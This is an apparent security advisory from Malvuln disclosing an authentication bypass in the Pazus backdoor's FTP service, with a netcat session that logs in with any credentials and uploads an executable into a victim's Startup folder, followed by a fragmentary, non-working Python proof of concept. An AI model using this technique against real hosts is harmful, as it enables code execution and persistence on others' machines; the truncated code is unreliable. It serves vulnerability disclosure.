Backdoor.Win32.Pazus.18 Authentication Bypass / Code Execution

Backdoor.Win32.Pazus.18 malware suffers from bypass and code execution vulnerabilities.

MD5 | d5fd6982baf05bc8448326adcfcd13d8

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Pazus.18
Vulnerability: Authentication Bypass RCE
Description: Pazus malware listens on TCP port 21. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 5be13eb16018ab69157f8c8e96e7d6bf
Vuln ID: MVID-2021-0246
Disclosure: 06/12/2021

nc64.exe 21

220 PaSzCzuS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
215 UNIX Type: L8 Internet Component Suite
CWD C:\Users\Victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
250 CWD command successful. "C:/Users/Victim/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" is current directory.
227 Entering Passive Mode (192,168,18,127,195,95).
150 Opening data connection for DOOM.exe.
226 File received ok

from socket import *

#195*256 + 95

def doit():
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")

while EXE:


print("Backdoor.Win32.Pazus.18 / Authentication Bypass RCE")
print("MD5: 5be13eb16018ab69157f8c8e96e7d6bf")
print("By Malvuln");

if __name__=="__main__":

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